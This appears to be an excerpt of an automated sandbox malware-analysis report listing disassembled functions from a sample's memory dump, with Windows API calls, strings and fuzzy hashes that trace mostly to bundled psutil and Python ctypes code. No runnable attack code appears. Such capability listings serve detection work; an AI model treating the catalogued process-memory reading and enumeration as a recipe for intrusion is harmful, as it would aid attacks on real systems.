Function 00007FF8B9071270 Relevance: 4.5, APIs: 3, Instructions: 37
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B9071296
GetProcAddress.KERNEL32 ref: 00007FF8B90712C0
FreeLibrary.KERNEL32 ref: 00007FF8B90712D9

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID:
API String ID: 145871493-0
Opcode ID: c4961b64c7e64f6e4fbbe085665ff08e943201d771d0e41144107d4a87dedda4
Instruction ID: 56e26c6fe6311b3daf6eb81b7e5572e1518195ebf59956193f5dd1e91bc63355
Opcode Fuzzy Hash: c4961b64c7e64f6e4fbbe085665ff08e943201d771d0e41144107d4a87dedda4
Instruction Fuzzy Hash: 2201F420B0DAC181EE549F66B94813E6761AF68FE4B184434DF4E87B54DE3CD4578700

Function 00007FF8B9071380 Relevance: 66.7, APIs: 14, Strings: 24, Instructions: 229
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 00007FF8B907139A
GetProcAddress.KERNEL32 ref: 00007FF8B90713CC
FreeLibrary.KERNEL32 ref: 00007FF8B90713E9
GetModuleHandleA.KERNEL32 ref: 00007FF8B9071416
GetProcAddress.KERNEL32 ref: 00007FF8B9071434
GetModuleHandleA.KERNEL32 ref: 00007FF8B9071475
GetProcAddress.KERNEL32 ref: 00007FF8B9071493
LoadLibraryA.KERNEL32 ref: 00007FF8B90714DD
GetProcAddress.KERNEL32 ref: 00007FF8B9071524
FreeLibrary.KERNEL32 ref: 00007FF8B9071541

Strings

WTSFreeMemory, xrefs: 00007FF8B9071790
GetActiveProcessorCount, xrefs: 00007FF8B907171C, 00007FF8B9071731
NtQueryInformationProcess, xrefs: 00007FF8B907142A, 00007FF8B907143F
RtlIpv6AddressToStringA, xrefs: 00007FF8B90716D7
RtlIpv4AddressToStringA, xrefs: 00007FF8B9071560
GetExtendedTcpTable, xrefs: 00007FF8B907158A
wtsapi32.dll, xrefs: 00007FF8B907176A, 00007FF8B9071784, 00007FF8B907179E
RtlGetVersion, xrefs: 00007FF8B90715D0
kernel32, xrefs: 00007FF8B907167F, 00007FF8B9071691, 00007FF8B9071701, 00007FF8B9071713, 00007FF8B9071750
ntdll, xrefs: 00007FF8B90715FA, 00007FF8B907161D, 00007FF8B9071640, 00007FF8B9071663
NtQueryVirtualMemory, xrefs: 00007FF8B9071639
RtlNtStatusToDosErrorNoTeb, xrefs: 00007FF8B907165C
iphlpapi.dll, xrefs: 00007FF8B9071591, 00007FF8B90715B4
NtQueryObject, xrefs: 00007FF8B907151A, 00007FF8B907152F
WTSEnumerateSessionsW, xrefs: 00007FF8B907175C
WTSQuerySessionInformationW, xrefs: 00007FF8B9071776
NtQuerySystemInformation, xrefs: 00007FF8B90713C2, 00007FF8B90713D7
NtSuspendProcess, xrefs: 00007FF8B90715F3
GetTickCount64, xrefs: 00007FF8B907169A, 00007FF8B90716AF
GetLogicalProcessorInformationEx, xrefs: 00007FF8B9071742
ntdll.dll, xrefs: 00007FF8B9071390, 00007FF8B90713B1, 00007FF8B9071408, 00007FF8B9071421, 00007FF8B9071467, 00007FF8B9071480, 00007FF8B90714D3, 00007FF8B90714F4, 00007FF8B907156E, 00007FF8B90715D7, 00007FF8B90716E5
GetExtendedUdpTable, xrefs: 00007FF8B90715AD
NtSetInformationProcess, xrefs: 00007FF8B9071489, 00007FF8B907149E
NtResumeProcess, xrefs: 00007FF8B9071616

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: AddressLibraryProc$FreeHandleLoadModule
String ID: GetActiveProcessorCount$GetExtendedTcpTable$GetExtendedUdpTable$GetLogicalProcessorInformationEx$GetTickCount64$NtQueryInformationProcess$NtQueryObject$NtQuerySystemInformation$NtQueryVirtualMemory$NtResumeProcess$NtSetInformationProcess$NtSuspendProcess$RtlGetVersion$RtlIpv4AddressToStringA$RtlIpv6AddressToStringA$RtlNtStatusToDosErrorNoTeb$WTSEnumerateSessionsW$WTSFreeMemory$WTSQuerySessionInformationW$iphlpapi.dll$kernel32$ntdll$ntdll.dll$wtsapi32.dll
API String ID: 3023338733-761253638
Opcode ID: 40eaee2ffd6f01f50de0b2aac545704ad0fe2f6a6e437eb824291176764a6811
Instruction ID: 364af58f0c1f907db20adf2747ae927ab553415c2572c77388e22d324298fc69
Opcode Fuzzy Hash: 40eaee2ffd6f01f50de0b2aac545704ad0fe2f6a6e437eb824291176764a6811
Instruction Fuzzy Hash: DDC1D460A09A8791EE849F2CF8851B52BE1BF687E4B848135C70D466A1EF7CE59BC300

Function 00007FF8B9F63BF0 Relevance: 47.4, APIs: 19, Strings: 8, Instructions: 181
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ffi_prep_cif.LIBFFI-8 ref: 00007FF8B9F63C54
ffi_call.LIBFFI-8 ref: 00007FF8B9F63CBF
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F63D19
PyEval_SaveThread.PYTHON311 ref: 00007FF8B9F63D41
PyErr_SetString.PYTHON311 ref: 00007FF8B9F68734
PyErr_SetFromWindowsErr.PYTHON311 ref: 00007FF8B9F6873F
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F68772
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B9F68781

Strings

exception: datatype misalignment, xrefs: 00007FF8B9F68867
No ffi_type for result, xrefs: 00007FF8B9F6870A
ctypes.seh_exception, xrefs: 00007FF8B9F68818
exception: access violation reading %p, xrefs: 00007FF8B9F68890
exception: breakpoint encountered, xrefs: 00007FF8B9F68723
ffi_prep_cif failed, xrefs: 00007FF8B9F68713
exception: single step, xrefs: 00007FF8B9F6885B
exception: access violation writing %p, xrefs: 00007FF8B9F688A2

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$_errno$Eval_FromOccurredSaveStringThreadWindowsffi_callffi_prep_cif
String ID: No ffi_type for result$ctypes.seh_exception$exception: access violation reading %p$exception: access violation writing %p$exception: breakpoint encountered$exception: datatype misalignment$exception: single step$ffi_prep_cif failed
API String ID: 1937973484-2749438402
Opcode ID: 430c0edaa122ef19808d40242a936452debd4f228559f93505334d9254383600
Instruction ID: d12de5b110c7a1d880a6d5543bcc066dd4d4aeaa1f2bc7f1058f52d8215207db
Opcode Fuzzy Hash: 430c0edaa122ef19808d40242a936452debd4f228559f93505334d9254383600
Instruction Fuzzy Hash: B6813D32A08BC286E660CF19E8446B96BA1FF45BE6F546039DB5E437A4DF7CE844C700

Function 00007FF8B9077ED0 Relevance: 45.6, APIs: 16, Strings: 10, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00000000,00007FF8B9078203,?,?,?,00007FF8B9071966), ref: 00007FF8B9077EE8
GetLastError.KERNEL32(?,?,00000000,00007FF8B9078203,?,?,?,00007FF8B9071966), ref: 00007FF8B9077F0C
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9077F4F
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9077F69
fprintf.MSPDB140-MSVCRT ref: 00007FF8B9077F83
GetExitCodeProcess.KERNEL32 ref: 00007FF8B9078045
CloseHandle.KERNEL32 ref: 00007FF8B9078070

Strings

psutil/arch/windows/process_utils.c, xrefs: 00007FF8B9077F3E, 00007FF8B9077FBB, 00007FF8B90780B2
OpenProcess -> ERROR_INVALID_PARAMETER, xrefs: 00007FF8B9077EF3
OpenProcess -> ERROR_SUCCESS turned into NSP, xrefs: 00007FF8B9077FDF
GetExitCodeProcess != STILL_ACTIVE, xrefs: 00007FF8B9078076
GetExitCodeProcess, xrefs: 00007FF8B9078112
OpenProcess -> ERROR_SUCCESS turned into AD, xrefs: 00007FF8B9077F62
OpenProcess, xrefs: 00007FF8B907801E
GetExitCodeProcess -> ERROR_ACCESS_DENIED (ignored), xrefs: 00007FF8B90780D6
psutil-debug [%s:%d]> , xrefs: 00007FF8B9077F48, 00007FF8B9077FC5, 00007FF8B90780BC
OpenProcess -> ERROR_SUCCESS, xrefs: 00007FF8B9077F88, 00007FF8B9078005

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: fprintf$ErrorLast$CloseCodeExitHandleProcess
String ID: GetExitCodeProcess$GetExitCodeProcess != STILL_ACTIVE$GetExitCodeProcess -> ERROR_ACCESS_DENIED (ignored)$OpenProcess$OpenProcess -> ERROR_INVALID_PARAMETER$OpenProcess -> ERROR_SUCCESS$OpenProcess -> ERROR_SUCCESS turned into AD$OpenProcess -> ERROR_SUCCESS turned into NSP$psutil-debug [%s:%d]> $psutil/arch/windows/process_utils.c
API String ID: 4173993794-1769976570
Opcode ID: 4917832fdb2819dc7055f8de02272ff85822ed9d623a28d87c67c9903ffe2f2a
Instruction ID: 2900b5f4ea75f70ce33d6012e45db69dbf4abf3023f45c6b758f4ea652b2ee58
Opcode Fuzzy Hash: 4917832fdb2819dc7055f8de02272ff85822ed9d623a28d87c67c9903ffe2f2a
Instruction Fuzzy Hash: D5512C20F1D5C692EF959F2DF8952B92AA1AF647F0F445036DB0E422A6DE2CE487C350

Function 00007FF8B9F626C0 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 191
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Expected a COM this pointer as first argument, xrefs: 00007FF8B9F67469
this function takes at least %d argument%s (%d given), xrefs: 00007FF8B9F67414
native com method call without 'this' parameter, xrefs: 00007FF8B9F673E2
NULL COM pointer access, xrefs: 00007FF8B9F674C3
COM method call without VTable, xrefs: 00007FF8B9F673EB
this function takes %d argument%s (%d given), xrefs: 00007FF8B9F674F4

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID:
String ID: COM method call without VTable$Expected a COM this pointer as first argument$NULL COM pointer access$native com method call without 'this' parameter$this function takes %d argument%s (%d given)$this function takes at least %d argument%s (%d given)
API String ID: 0-1981512665
Opcode ID: f07b7bceabcce526c4a62d906a5ec0dd6d9bc262e596e910abc21d3a49bdda52
Instruction ID: 137ffe4d8d7656e15f6e93c0bf76187713e4c57036b74e94c9b0cab4bba2e1f1
Opcode Fuzzy Hash: f07b7bceabcce526c4a62d906a5ec0dd6d9bc262e596e910abc21d3a49bdda52
Instruction Fuzzy Hash: CE912926A09BC281EA60CF29E4442B96BA0FF85BE6F546436DF4D47768DF3CE545C700

Function 00007FF8B9071E60 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 115
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32 ref: 00007FF8B9071EA3
GetLastError.KERNEL32 ref: 00007FF8B9071EB1
GetProcessTimes.KERNEL32 ref: 00007FF8B9071F09
GetLastError.KERNEL32 ref: 00007FF8B9071F13
CloseHandle.KERNEL32 ref: 00007FF8B9071F2D
CloseHandle.KERNEL32 ref: 00007FF8B9071F4B

Strings

(ddd), xrefs: 00007FF8B9071FA8
automatically set for PID 0, xrefs: 00007FF8B9071E8B
OpenProcess, xrefs: 00007FF8B9071EBC
GetProcessTimes -> ERROR_ACCESS_DENIED, xrefs: 00007FF8B9071F1E

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseErrorHandleLastProcess$OpenTimes
String ID: (ddd)$GetProcessTimes -> ERROR_ACCESS_DENIED$OpenProcess$automatically set for PID 0
API String ID: 439304258-3215740380
Opcode ID: b3043431e4184d2c3639cdfc297f2aa77ef6b2bf120e7a198ebdad43fd7f5465
Instruction ID: 891e2cc6381b688220f143595c9d416779fddddca7caf2a81f85ab76a1ca2acb
Opcode Fuzzy Hash: b3043431e4184d2c3639cdfc297f2aa77ef6b2bf120e7a198ebdad43fd7f5465
Instruction Fuzzy Hash: 1B416531B1DAC686EE41DF3DA840579A7A6BFA47E0F448231EB1F52695EF3CE4468700

Function 00007FF8B9F62980 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.VCRUNTIME140 ref: 00007FF8B9F62A27
PyObject_CallOneArg.PYTHON311 ref: 00007FF8B9F62A7E
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F62C36
PyErr_Format.PYTHON311 ref: 00007FF8B9F6793D

Strings

too many arguments (%zi), maximum is %i, xrefs: 00007FF8B9F6792D
argument %zd: , xrefs: 00007FF8B9F6798B

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: CallDeallocErr_FormatObject_memset
String ID: argument %zd: $too many arguments (%zi), maximum is %i
API String ID: 1791410686-4072972272
Opcode ID: 4740f729d07df1b72c89f8ee573bc102a3c799c06bb822e8bf3e008f4163d2c1
Instruction ID: f04de0b2ed425f53fcd88e79a5a167f38f6ff8eec3994a4ed635220ba52b13ae
Opcode Fuzzy Hash: 4740f729d07df1b72c89f8ee573bc102a3c799c06bb822e8bf3e008f4163d2c1
Instruction Fuzzy Hash: 2DB16F62A09BC285EA649F29D8402B923A0FF06BF9F546631DB6D977D9DF3CE541C300

Function 00007FF8B9077D80 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

K32EnumProcesses.KERNEL32(?,?,?,?,?,?,00000000,00007FF8B9078203,?,?,?,00007FF8B9071966), ref: 00007FF8B9077DD5

Strings

psutil/arch/windows/process_utils.c, xrefs: 00007FF8B9077E64
psutil_get_pids() failed, xrefs: 00007FF8B9077E88
psutil-debug [%s:%d]> , xrefs: 00007FF8B9077E6E

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: EnumProcesses
String ID: psutil-debug [%s:%d]> $psutil/arch/windows/process_utils.c$psutil_get_pids() failed
API String ID: 84517404-721664742
Opcode ID: 496f7af1095e9932f3dca6ae4bfd7e75e1a19dd7a4ce45f1e72747e8913e23f5
Instruction ID: cc6cf918d975103c323afe4401c1015d6f919029e2be6f35bb6477f1348ef8eb
Opcode Fuzzy Hash: 496f7af1095e9932f3dca6ae4bfd7e75e1a19dd7a4ce45f1e72747e8913e23f5
Instruction Fuzzy Hash: 15316521B096C682EF549F2DE4552756A61BFA8BE1F544036DB0E073A0DE7CE8868350

Function 00007FF8B9074AC0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 49
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimes.KERNEL32 ref: 00007FF8B9074AD3

Strings

(ddd), xrefs: 00007FF8B9074AF4

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: SystemTimes
String ID: (ddd)
API String ID: 375623090-2401937087
Opcode ID: 29ec311d8e1ff67191919b1209f01c79c48eb70a1fab8fecc3dbe41d73d0aba0
Instruction ID: 5fabdd11cf6ed3dd916b45cfb64d5fe5683d514f0be5c7a0fa41d6de714ef9eb
Opcode Fuzzy Hash: 29ec311d8e1ff67191919b1209f01c79c48eb70a1fab8fecc3dbe41d73d0aba0
Instruction Fuzzy Hash: 21116A31A29E814FC553DB399990525E796AFA57D4B548322F50FF1D50E72CE0978B00

Function 00007FF8B9077CD0 Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

K32EnumProcesses.KERNEL32(?,?,?,00007FF8B90719BA), ref: 00007FF8B9077D25

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: EnumProcesses
String ID:
API String ID: 84517404-0
Opcode ID: 4c91ff0ec2273356573cf0176f4b2079e72363d77241c0c5429492b96c40a274
Instruction ID: 27a656cdbb708630621f0c457b15a31276bf0568e0f5c92196b404a0364e5ef3
Opcode Fuzzy Hash: 4c91ff0ec2273356573cf0176f4b2079e72363d77241c0c5429492b96c40a274
Instruction Fuzzy Hash: 5E115621B096C682EF64CF29A8441396BA1FF98BE0F185035EB4E47764DE3CE447C710

Function 00007FF8BFAB4730 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsUserAnAdmin.SHELL32(00007FF8BFAB4493), ref: 00007FF8BFAB476E

Memory Dump Source

Source File: 00000002.00000002.2073762995.00007FF8BFAB1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000002.00000002.2073728007.00007FF8BFAB0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2073799607.00007FF8BFAB6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2073849663.00007FF8BFAB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8bfab0000_mav17final.jbxd

Similarity

API ID: AdminUser
String ID:
API String ID: 2487005531-0
Opcode ID: d0030d7d39ed1f1285109f3f3c4a92fc536e9fee5458ecd4838dc556b7ba0fb5
Instruction ID: 589562f61f2adfc1cde80cdba36535f082beed8b657e9c731b96d6230f4919a8
Opcode Fuzzy Hash: d0030d7d39ed1f1285109f3f3c4a92fc536e9fee5458ecd4838dc556b7ba0fb5
Instruction Fuzzy Hash: 14F0F9B2108F45D9C702CF59E45109DB724F755BC8B418A22EF8D53B29CF38D091CA40

Function 00007FF8BFAB42E0 Relevance: 1.4, APIs: 1, Instructions: 138COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140 ref: 00007FF8BFAB4379

Memory Dump Source

Source File: 00000002.00000002.2073762995.00007FF8BFAB1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000002.00000002.2073728007.00007FF8BFAB0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2073799607.00007FF8BFAB6000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2073849663.00007FF8BFAB9000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8bfab0000_mav17final.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: b007cc5a7efe170316438a21b032e88e071ebebb1f436b5cacc6e359ddb69198
Instruction ID: a21a340d984cdb8395b4d2466585f26a21f8974a26e8e38b89f254531b477704
Opcode Fuzzy Hash: b007cc5a7efe170316438a21b032e88e071ebebb1f436b5cacc6e359ddb69198
Instruction Fuzzy Hash: A0518D72B04F8585DB28CFA9D4415A933A8FB49BE8B559222EF2D0779ADF38D452C340

Non-executed Functions

Function 00007FF8B9077350 Relevance: 47.5, APIs: 21, Strings: 6, Instructions: 230nativeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00007FF8B90773B1
GetLastError.KERNEL32 ref: 00007FF8B90773BF
NtQueryInformationProcess.NTDLL ref: 00007FF8B9077412
RtlNtStatusToDosErrorNoTeb.NTDLL ref: 00007FF8B9077433
CloseHandle.KERNEL32 ref: 00007FF8B9077461
ReadProcessMemory.KERNEL32 ref: 00007FF8B9077491
GetLastError.KERNEL32 ref: 00007FF8B907749B
CloseHandle.KERNEL32 ref: 00007FF8B90774AB
ReadProcessMemory.KERNEL32 ref: 00007FF8B90774D0
VirtualQueryEx.KERNEL32 ref: 00007FF8B90775CE
GetLastError.KERNEL32 ref: 00007FF8B90775D9
CloseHandle.KERNEL32 ref: 00007FF8B9077607
CloseHandle.KERNEL32 ref: 00007FF8B907765E
ReadProcessMemory.KERNEL32 ref: 00007FF8B907767B
GetLastError.KERNEL32 ref: 00007FF8B9077685
CloseHandle.KERNEL32 ref: 00007FF8B9077695
CloseHandle.KERNEL32 ref: 00007FF8B90776AE

Strings

VirtualQueryEx, xrefs: 00007FF8B90775DF
(originated from %s), xrefs: 00007FF8B9077442, 00007FF8B90775E8
automatically set for PID 0, xrefs: 00007FF8B9077399
NtQueryInformationProcess(ProcessBasicInformation), xrefs: 00007FF8B9077525
OpenProcess, xrefs: 00007FF8B90773CA
NtQueryInformationProcess(ProcessWow64Information), xrefs: 00007FF8B907743B

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: CloseHandle$ErrorProcess$Last$MemoryRead$Query$InformationOpenStatusVirtual
String ID: (originated from %s)$NtQueryInformationProcess(ProcessBasicInformation)$NtQueryInformationProcess(ProcessWow64Information)$OpenProcess$VirtualQueryEx$automatically set for PID 0
API String ID: 3746328393-2577306957
Opcode ID: 60ad0263dde9d9d4aabe87fb791252ebf2ef1ca0c33daef83303b80fb3f24a23
Instruction ID: 4e3dbba5332e1f47d29880050d0f0fc9a9e238576bf6a86a66718727637bc0d2
Opcode Fuzzy Hash: 60ad0263dde9d9d4aabe87fb791252ebf2ef1ca0c33daef83303b80fb3f24a23
Instruction Fuzzy Hash: 5FA16E21B08AC282EF649F2DA8546BD2B61BF64BE4F404131DF1E476A8DF3CE5479350

Function 00007FF8B9076EB0 Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 200memorynativeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F00
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F0B
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F1A
NtQuerySystemInformation.NTDLL ref: 00007FF8B9076F52
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F60
HeapFree.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F6E
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F80
HeapAlloc.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076F91
NtQuerySystemInformation.NTDLL ref: 00007FF8B9076FAC
GetProcessHeap.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076FCB
HeapFree.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9076FD9
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF8B9072F79), ref: 00007FF8B9077023
DuplicateHandle.KERNEL32 ref: 00007FF8B9077058

Part of subcall function 00007FF8B9076C60: CreateThread.KERNEL32 ref: 00007FF8B9076C9B
Part of subcall function 00007FF8B9076C60: GetLastError.KERNEL32 ref: 00007FF8B9076CA9

